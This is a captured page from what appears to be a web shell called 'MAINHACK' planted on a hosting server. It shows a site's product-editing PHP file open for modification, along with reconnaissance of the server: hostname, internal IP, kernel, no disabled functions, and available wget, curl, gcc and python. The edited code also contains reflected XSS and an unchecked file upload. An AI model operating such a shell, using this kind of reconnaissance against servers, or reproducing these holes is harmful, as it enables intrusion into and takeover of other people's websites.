[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: edit_product.php
<?php include('header.php'); ?> <script src="jquery-1.11.1.min.js"></script> <div class="main-panel"> <div class="content"> <div class="container-fluid"> <div class="row"> <div class="col-md-12"> <div class="card"> <div class="card-header"> <div class="card-title">Edit Product</div> </div> <?php $sr='product'; $stmt =$show->readwithdata($sr,'id',$_REQUEST['id']); $num = $stmt->rowCount(); if($num>0){ $count=1; while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ $ptitle=$row['title']; $description=$row['description']; $ptitle1=$row['title1']; $specification=$row['specification']; $product_id=$row['product_id']; $feature=$row['feature']; $category=$row['category']; $url=$row['url']; } $s1="delete from product_details where p_details=''"; $s2=$con->prepare($s1); $s2->execute(); } ?> <form method="post" id="exampleValidation" data-toggle="validator" enctype="multipart/form-data" > <div class="card-body"> <div class="form-group form-show-validation row"> <label>Category <span class="required-label">*</span></label> <?php $interests = array('Veneer Preparation Machines','Veneer Drying Machines','Dry Veneer Preparation and Composing','Gluing and Plywood Assembly','Plywood Pressing Machines','Calibration and Sanding','Board Sizing and Finishing','Boiler and Thermic','Other Machineries'); ?> <select class="form-control" name="category" id="trending<?=$count;?>"> <?php foreach( $interests as $interest ): ?> <option value="<?php echo $interest ?>"<?php if( $interest==$category): ?> selected="selected"<?php endif; ?>><?php echo $interest ?></option> <?php endforeach; ?> </select> </div> <div class="form-group form-show-validation row"> <label>Title <span class="required-label">*</span></label> <div class="col-lg-12 col-md-9 col-sm-8"> <input type="text" class="form-control" id="name" name="title" value="<?=$ptitle?>" placeholder="Enter Name" > </div> </div> <div class="form-group form-show-validation row"> <label>Description <span class="required-label"></span></label> <div class="col-lg-12 col-md-9 col-sm-8"> <textarea class="form-control" name="description"><?=$description?></textarea> </div> </div> <div class="form-group form-show-validation row"> <label>Salient Features:<span class="required-label">*</span></label> <div class="col-lg-12 col-md-9 col-sm-8"> <textarea class="form-control" name="specification"><?=$specification?></textarea> </div> </div> <div class="form-group form-show-validation row"> <div class="col-lg-4 col-md-9 col-sm-8"> <table id="basic-datatables" class="display table table-striped table-hover"> <tr> <th>Technical</th> <th>Specification</th> <th>Edit</th> <th>Delete</th> </tr> <?php $sq1=$show->readwithdata('product_details','pid',$product_id); while ($row11 = $sq1->fetch(PDO::FETCH_ASSOC)){ ?> <tr> <td><?=$row11['p_details']?></td> <td><?=$row11['p_specification']?></td> <td><a href="edit_tech.php?id=<?=$row11['id']?>&table=product_details&url=edit_product.php?id=<?=$_REQUEST['id']?>" class="btn btn-xs btn-info" >Edit</a></td> <td><a href="delete.php?id=<?=$row11['id']?>&table=product_details&url=edit_product.php?id=<?=$_REQUEST['id']?>" class="btn btn-xs btn-danger" onclick="return send();">Delete</a></td> </tr> <?php } ?> </table> </div> <div class="col-md-6"> <input type="hidden" id="getid1" value="1"> <div class='tr_input1' id="tab1" style="border:none !important;"> <table> <tr> <th>Technical :</th> <th>Specification:</th> </tr> <tr> <td><input type="text" id="pd" class="form-control" name="p_details[]"></td> <td><input type="text" id="test_1" class="form-control" name="p_specification[]"></td> <td><input type="button" class="btn btn-info" value='+' id="addmore1"></td> </tr> </table> </div> </div> </div> <div class="form-group form-show-validation row"> <div class="col-md-6"> <input type="hidden" id="getid" value="1"> <div class='tr_input' id="tab" style="border:none !important;"> <table> <tr> <th>Pictures</th></tr> <tr> <td><input type="file" id="testcode_1" name="file[]"></td> <td><input type="button" class="btn btn-info" value='+' id="addmore"></td> </tr> </table> </div> </div> <div class="col-md-6"> <label>Images</label> <table id="basic-datatables" class="display table table-striped table-hover"> <tr> <th>Image :</th> <th>Delete:</th> </tr> <?php $c=1; $sq=$show->readwithdata('product_img','product_id',$product_id); while ($row1 = $sq->fetch(PDO::FETCH_ASSOC)){ $img=$row1['img']; ?> <tr> <td><img src="<?=$pic_img?>/<?=$row1['img']?>" width="100px"></td> <td><a href="delete.php?id=<?=$row1['id']?>&table=product_img&url=edit_product.php?id=<?=$_REQUEST['id']?>" class="btn btn-xs btn-danger" onclick="return send();">Delete</a></td> </tr> <?php ++$c;} ?> </table> </div> </div> <div class="form-group"> <label>Video URL</label> <input type="text" name="url" value="https://www.youtube.com/v=<?=$url?>" class="form-control" placeholder="Please copy paste the youtube URL" required> <iframe width="560" height="315" src="https://www.youtube.com/embed/<?=$url?>" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe> </div> <div class="card-action"> <div class="row"> <div class="col-md-12"> <input class="btn btn-success" type="submit" name="sub" value="Update"> <button class="btn btn-danger">Cancel</button> </div> </div> </div> </form> </div> </div> <?php if(isset($_POST['sub'])){ $video=htmlentities(strip_tags($_POST['url'])); $vid=explode('=',$video); $allowed = ["specification","title","description","category"]; $params = []; $setStr = ""; foreach ($allowed as $key) { if (isset($_POST[$key]) && $key != "uid") { $setStr .= "`$key` = :$key,"; $params[$key] = htmlspecialchars($_POST[$key]); } } if(isset($_FILES['file'])){ foreach($_FILES['file']['tmp_name'] as $key=>$value){ $pic=$_FILES['file']['name'][$key]; $img1=uniqid().$pic; $data1 = array( 'product_id'=>$product_id, 'img' => $img1, ); // print_r($data1); if(move_uploaded_file($_FILES['file']['tmp_name'][$key],"../product_img/".$img1)){ if($show->insert('product_img',$data1)){ echo "<script>sweetAlert('OK','Thank you for entering images','success');</script>"; } } } } if(isset($_POST['p_details'])){ foreach($_POST['p_details']as $key=>$value){ $data = array( 'pid' => $product_id, 'p_details' => htmlspecialchars($_POST['p_details'][$key]), 'p_specification' => htmlspecialchars($_POST['p_specification'][$key]), ); $r1=$show->insert('product_details',$data); } } $setStr .= "`url` = :url,"; $setStr = rtrim($setStr, ","); $params['product_id']=$product_id; $params['url'] =$vid[1]; $show->table ='product'; $show->cols =$setStr; $show->id_name ='product_id'; $show->params =$params; //print_r($params); if($show->update_all()){ echo '<script> setTimeout(function() { swal({ title: "Thank You ", text: "for Updating!", type: "success" }, function() { window.location = "'.$_SERVER['REQUEST_URI'].'"; }); }, 1000); </script>'; } else{ echo "ss"; } }?> </div></div> </div> </div> <script> $(document).ready(function(){ // Add more $('#addmore').click(function(){ // Get last id var lastname_id = $('.tr_input input[type=file]').last().attr('id'); var split_id = lastname_id.split('_'); // New index var index = Number(split_id[1]) + 1; document.getElementById('getid').value=index; // Create row with input elements var html = "<div class='tr_input'><table><tr><td><input type='file' id='testcode_"+index+"' name='file[]'></td><td><a href='javascript:void(0);' id='remove_field' class='remCF btn btn-info' >-</a></td></tr></table></div>"; // Append data $('#tab').append(html); }); $("#tab").on('click','.remCF',function(){ $(this).parent().parent().remove(); var lastname_id = document.getElementById('getid').value; var index = lastname_id - 1; // Create row with input elements document.getElementById('getid').value=index; }); }); $(document).ready(function(){ // Add more $('#addmore1').click(function(){ // Get last id var lastname_id = $('.tr_input1 input[type=text]').last().attr('id'); var split_id = lastname_id.split('_'); // New index var index = Number(split_id[1]) + 1; document.getElementById('getid1').value=index; // Create row with input elements var html = "<div class='tr_input1'><table><tr><td><input type='text' id='aa"+index+"' class='form-control' name='p_details[]'></td><td><input type='text' id='test_"+index+"' class='form-control' name='p_specification[]'></td><td><a href='javascript:void(0);' id='remove_field1' class='remCF btn btn-info' >-</a></td></tr></table></div>"; // Append data $('#tab1').append(html); }); $("#tab1").on('click','.remCF',function(){ $(this).parent().parent().remove(); var lastname_id = document.getElementById('getid1').value; var index = lastname_id - 1; // Create row with input elements document.getElementById('getid1').value=index; }); }); </script> <!--footer--> <?php include('footer.php'); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 692.03 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619